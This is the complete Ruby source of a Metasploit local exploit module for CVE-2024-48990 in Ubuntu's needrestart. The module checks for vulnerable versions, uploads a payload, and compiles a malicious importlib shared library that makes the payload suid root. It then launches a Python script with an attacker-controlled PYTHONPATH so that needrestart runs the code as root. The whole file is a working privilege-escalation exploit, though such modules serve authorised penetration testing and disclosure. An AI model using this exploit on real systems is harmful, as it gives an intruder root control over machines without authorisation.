## # This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## class MetasploitModule < Msf::Exploit::Local Rank = GreatRanking include Msf::Post::Linux::Priv include Msf::Post::Linux::System include Msf::Post::File include Msf::Exploit::EXE include Msf::Post::Linux::Kernel include Msf::Exploit::FileDropper include Msf::Post::Linux::Compile prepend Msf::Exploit::Remote::AutoCheck def initialize(info = {}) super( update_info( info, 'Name' => 'Ubuntu needrestart Privilege Escalation', 'Description' => %q{ Local attackers can execute arbitrary code as root by tricking needrestart into running the Python interpreter with an attacker-controlled PYTHONPATH environment variable. Verified against Ubuntu 22.04 with needrestart 3.5-5ubuntu2.1 Attempted exploitation against Debian 12, expliotation failed }, 'License' => MSF_LICENSE, 'Author' => [ 'h00die', # msf module 'makuga01', # PoC 'qualys' # original advisory ], 'Platform' => [ 'linux' ], 'Arch' => [ ARCH_X86, ARCH_X64 ], 'Stance' => Msf::Exploit::Stance::Passive, 'Passive' => true, 'SessionTypes' => [ 'shell', 'meterpreter' ], 'Targets' => [[ 'Auto', {} ]], 'Privileged' => true, 'References' => [ [ 'URL', 'https://github.com/makuga01/CVE-2024-48990-PoC'], [ 'URL', 'https://www.qualys.com/2024/11/19/needrestart/needrestart.txt'], [ 'CVE', '2024-48990'] ], 'DisclosureDate' => '2024-11-19', 'DefaultTarget' => 0, 'Notes' => { 'Stability' => [CRASH_SAFE], 'Reliability' => [REPEATABLE_SESSION], 'SideEffects' => [ARTIFACTS_ON_DISK] } ) ) register_advanced_options [ OptString.new('WritableDir', [ true, 'A directory where we can write and execute files', '/tmp' ]), OptInt.new('ListenerTimeout', [ true, 'The maximum number of seconds to wait for session', 90_000 ]) # 25hrs ] end def base_dir datastore['WritableDir'].to_s end def check # fedora https://bodhi.fedoraproject.org/updates/FEDORA-2024-a9cf3dad4f # debian https://security-tracker.debian.org/tracker/CVE-2024-48990 fixed_versions = { '24.10' => Rex::Version.new('3.6-8ubuntu4.2'), '24.04' => Rex::Version.new('3.6-7ubuntu4.3'), '22.04' => Rex::Version.new('3.5-5ubuntu2.2'), '20.04' => Rex::Version.new('3.4-6ubuntu0.1.esm1'), '18.04' => Rex::Version.new('3.1-1ubuntu0.1.esm1'), '16.04' => Rex::Version.new('2.6-1ubuntu0.1.esm1'), '12' => Rex::Version.new('3.6-4.deb12u2'), # debian bookworm '11' => Rex::Version.new('3.5-4.deb11u4'), # debian bullseye # may be more versions, but this felt good enough '38' => Rex::Version.new('3.8-1'), '39' => Rex::Version.new('3.8-1'), '40' => Rex::Version.new('3.8-1'), '41' => Rex::Version.new('3.8-1') } info = get_sysinfo return CheckCode::Safe('Only Ubuntu/Debian/Fedora have check functionality') unless ['debian', 'ubuntu', 'fedora'].include? info[:distro] if info[:distro] == 'ubuntu' version = info[:version].split(' ')[1].slice(0, 5) # take off any extra version info return CheckCode::Safe("Ubuntu version #{version} is not vulnerable or untested") unless fixed_versions.key? version elsif info[:distro] == 'debian' return CheckCode::Safe('Debian may be vulnerable however the exploit does not work against it') elsif info[:distro] == 'fedora' return CheckCode::Safe('Fedora may be vulnerable however the exploit does not work against it') end return CheckCode::Safe('needrestart binary not found') unless command_exists?('needrestart') package = cmd_exec('dpkg -l needrestart | grep \'^ii\'') package = package.split(' ')[2] package = package.gsub('+', '.') # next line will need to be included if we want to support fedora # package = package.gsub('needrestart-', '') # fedora specific package = Rex::Version.new(package) return CheckCode::Safe('needrestart not install, or not detected.') if package == Rex::Version.new('0') # aka empty/nil return CheckCode::Appears("Vulnerable needrestart version #{package} detected on Ubuntu #{version}") if package < fixed_versions[version] CheckCode::Safe("needrestart version #{package} is not vulnerable on Ubuntu #{version}") end def exploit # Check if we're already root if !datastore['ForceExploit'] && is_root? fail_with Failure::None, 'Session already has root privileges. Set ForceExploit to override' end # Make sure we can write our exploit and payload to the local system unless writable? base_dir fail_with Failure::BadConfig, "#{base_dir} is not writable" end # upload payload payload_path = "#{base_dir}/.#{rand_text_alphanumeric(5..10)}" upload_and_chmodx payload_path, generate_payload_exe vprint_status("Uploading payload: #{payload_path}") register_files_for_cleanup(payload_path) # our c stub file does our chmod/chown/suid for the payload c_stub = strip_comments(exploit_data('CVE-2024-48990', 'lib.metasm')) c_stub = c_stub.gsub('PAYLOAD_PATH', payload_path) case kernel_arch when ARCH_X86 cpu = Metasm::Ia32.new when ARCH_X64 cpu = Metasm::X86_64.new else fail_with Failure::NoTarget, 'Target is not compatible' end begin c_stub = Metasm::ELF.compile_c(cpu, c_stub).encode_string(:lib) c_stub_path = "#{base_dir}/importlib/__init__.so" rescue StandardError print_error "Metasm encoding failed: #{$ERROR_INFO}" elog "Metasm encoding failed: #{$ERROR_INFO.class} : #{$ERROR_INFO}" elog "Call stack:\n#{$ERROR_INFO.backtrace.join "\n"}" fail_with Failure::Unknown, 'Metasm encoding failed' end mkdir "#{base_dir}/importlib" write_file(c_stub_path, c_stub) vprint_status("Uploading c_stub: #{c_stub_path}") register_files_for_cleanup(c_stub_path) register_dir_for_cleanup("#{base_dir}/importlib") # the python script is needed for having the PYTHONPATH set and watches # for our payload to be modified, then run it py_script = strip_comments(exploit_data('CVE-2024-48990', 'sleeper.py')) py_script = py_script.gsub('PAYLOAD_PATH', payload_path) py_stub_path = "#{base_dir}/.#{rand_text_alphanumeric(5..10)}" write_file py_stub_path, py_script vprint_status("Uploading py_script: #{py_stub_path}") register_files_for_cleanup(py_stub_path) # Launch exploit with a timeout. We also have a vprint_status so if the user wants all the # output from the exploit being run, they can optionally see it print_status 'Launching exploit, and waiting for needrestart to run...' output = cmd_exec "PYTHONPATH=\"#{base_dir}\" python3 '#{py_stub_path}'", nil, datastore['ListenerTimeout'] output.each_line { |line| vprint_status line.chomp } end end